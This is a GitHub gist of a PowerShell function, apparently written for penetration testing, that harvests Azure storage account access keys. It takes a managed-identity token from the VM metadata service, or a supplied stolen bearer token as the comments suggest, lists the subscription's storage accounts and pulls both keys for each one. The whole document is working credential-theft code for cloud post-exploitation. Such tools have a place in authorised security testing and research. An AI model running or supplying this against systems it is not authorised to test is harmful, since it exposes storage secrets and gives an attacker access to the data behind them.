Skip to content

Instantly share code, notes, and snippets.

@kfosaaen
Last active November 1, 2022 02:48
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save kfosaaen/2620f73690d2948efb2a31897e1f404e to your computer and use it in GitHub Desktop.
Save kfosaaen/2620f73690d2948efb2a31897e1f404e to your computer and use it in GitHub Desktop.
A PowerShell function to call Azure rest APIs using a VM Managed Identity to list available Storage Account access keys
Function get-MIStorageKeys{
# Author: Karl Fosaaen (@kfosaaen), NetSPI - 2020
# Description: PowerShell function for enumerating available storage account keys from a VM Managed Identity.
# Pipe to "Export-Csv -NoTypeInformation" for easier exporting
# Use the subID and ArmToken parameters to specify bearer tokens and subscriptions, handy for compromised bearer tokens from other services (CloudShell/AutomationAccounts)
[CmdletBinding()]
Param(
[Parameter(Mandatory=$false,
HelpMessage="Subscription ID")]
[string]$subID,
[Parameter(Mandatory=$false,
HelpMessage="ArmToken")]
[string]$ArmToken
)
#---------Get OAuth Token---------#
if ($ArmToken -eq ''){
$response = Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' -Method GET -Headers @{Metadata="true"} -UseBasicParsing
$content = $response.Content | ConvertFrom-Json
$ArmToken = $content.access_token
}
#---------Query MetaData for SubscriptionID---------#
if ($subID -eq ''){
$response2 = Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/instance?api-version=2018-02-01' -Method GET -Headers @{Metadata="true"} -UseBasicParsing
$subID = ($response2.Content | ConvertFrom-Json).compute.subscriptionId
}
#---------Get List of Storage Accounts and RGs---------#
$responseKeys = Invoke-WebRequest -Uri (-join ('https://management.azure.com/subscriptions/',$subID,'/providers/Microsoft.Storage/storageAccounts?api-version=2019-06-01')) -Method GET -Headers @{ Authorization ="Bearer $ArmToken"} -UseBasicParsing
$storageACCTS = ($responseKeys.Content | ConvertFrom-Json).value
# Create data table to house results
$TempTbl = New-Object System.Data.DataTable
$TempTbl.Columns.Add("StorageAccount") | Out-Null
$TempTbl.Columns.Add("Key1") | Out-Null
$TempTbl.Columns.Add("Key2") | Out-Null
$TempTbl.Columns.Add("Key1-Permissions") | Out-Null
$TempTbl.Columns.Add("Key2-Permissions") | Out-Null
#---------Request access keys for all storage accounts---------#
$storageACCTS | ForEach-Object {
# Do some split magic on the list of Storage accounts
$accountName = $_.name
$split1 = ($_.id -split "resourceGroups/")
$split2 = ($split1 -Split "/")
$SARG = $split2[4]
#https://docs.microsoft.com/en-us/rest/api/storagerp/storageaccounts/listkeys#
$responseKeys = (Invoke-WebRequest -Uri (-join ('https://management.azure.com/subscriptions/',$subID,'/resourceGroups/',$SARG,'/providers/Microsoft.Storage/storageAccounts/',$accountName,'/listKeys?api-version=2019-06-01')) -Method POST -Headers @{ Authorization ="Bearer $ArmToken"} -UseBasicParsing).content
$keylist = ($responseKeys| ConvertFrom-Json).keys
# Write the keys to the table
$TempTbl.Rows.Add($accountName, $keylist[0].value, $keylist[1].value, $keylist[0].permissions, $keylist[1].permissions) | Out-Null
}
Write-Output $TempTbl
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment